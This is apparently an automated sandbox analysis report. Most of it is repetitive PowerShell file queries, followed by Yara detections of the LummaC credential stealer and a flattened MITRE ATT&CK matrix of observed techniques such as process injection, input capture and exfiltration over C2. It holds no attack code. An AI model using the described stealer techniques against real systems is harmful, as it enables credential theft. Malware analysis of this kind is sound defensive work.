    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Users\user\AppData\Local\Temp\69564\Style.comQueries volume information: C:\ VolumeInformation
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

    Stealing of Sensitive Information

    barindex
    Yara detected LummaC Stealer
    Source: Yara matchFile source: sslproxydump.pcap, type: PCAP

    Remote Access Functionality

    barindex
    Yara detected LummaC Stealer
    Source: Yara matchFile source: sslproxydump.pcap, type: PCAP

    Mitre Att&ck Matrix

    ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
    Gather Victim Identity InformationAcquire InfrastructureValid Accounts21
    Windows Management Instrumentation    		1
    DLL Side-Loading    		112
    Process Injection    		111
    Masquerading    		11
    Input Capture    		121
    Security Software Discovery    		Remote Services11
    Input Capture    		1
    Encrypted Channel    		Exfiltration Over Other Network MediumAbuse Accessibility Features
    CredentialsDomainsDefault Accounts1
    Command and Scripting Interpreter    		Boot or Logon Initialization Scripts1
    DLL Side-Loading    		41
    Virtualization/Sandbox Evasion    		LSASS Memory3
    Process Discovery    		Remote Desktop ProtocolData from Removable Media1
    Ingress Tool Transfer    		Exfiltration Over BluetoothNetwork Denial of Service
    Email AddressesDNS ServerDomain Accounts1
    PowerShell    		Logon Script (Windows)Logon Script (Windows)112
    Process Injection    		Security Account Manager41
    Virtualization/Sandbox Evasion    		SMB/Windows Admin SharesData from Network Shared Drive3
    Non-Application Layer Protocol    		Automated ExfiltrationData Encrypted for Impact
    Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook1
    DLL Side-Loading    		NTDS1
    Application Window Discovery    		Distributed Component Object ModelInput Capture14
    Application Layer Protocol    		Traffic DuplicationData Destruction
    Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon ScriptSoftware PackingLSA Secrets1
    Remote System Discovery    		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
    Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC ScriptsSteganographyCached Domain Credentials2
    File and Directory Discovery    		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
    DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup ItemsCompile After DeliveryDCSync44
    System Information Discovery    		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery

